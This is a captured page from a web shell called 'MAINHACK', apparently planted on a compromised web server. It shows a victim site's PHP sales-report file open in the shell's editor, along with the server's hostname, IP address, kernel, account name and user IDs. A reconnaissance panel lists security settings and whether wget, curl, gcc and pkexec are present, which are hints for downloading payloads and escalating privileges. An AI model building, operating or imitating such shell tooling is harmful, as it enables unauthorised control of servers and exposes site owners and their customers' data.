[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: sales_data.php
<?php include("../admin/db/db.php"); $shopname = $_SESSION['business_name_Xw211qAAsq4']; // Get the first day of the current week (Monday) $startOfWeek = date("Y-m-d", strtotime("last Monday", strtotime("tomorrow"))); // Ensures Monday is always the first day $endOfWeek = date("Y-m-d", strtotime($startOfWeek . " +6 days")); // Get Sunday $salesData = []; for ($i = 0; $i < 7; $i++) { // Loop for each day of the week $currentDay = date("l", strtotime($startOfWeek . " +$i days")); // Get the current weekday name $currentDate = date("Y-m-d", strtotime($startOfWeek . " +$i days")); // Get the corresponding date // Prepare the query $stmtServices = $con->prepare(" SELECT SUM(price) as amount FROM services s JOIN true_price sb ON s.service_id = sb.service_id JOIN appointments a ON sb.appointment_id = a.appointment_id WHERE a.canceled = '0' AND a.active = 'Yes' AND DAYNAME(a.created) = ? AND date(a.created) BETWEEN ? AND ? AND a.business_name = ? "); // Execute with actual values $stmtServices->execute([$currentDay, $startOfWeek, $endOfWeek, $shopname]); $row = $stmtServices->fetch(); $saleamount = $row['amount'] ?? 0; // Use 0 if no data is found $salesData[] = $saleamount; // Store values for Highcharts } // Convert array to a comma-separated string for JavaScript echo implode(",", $salesData); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.07 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002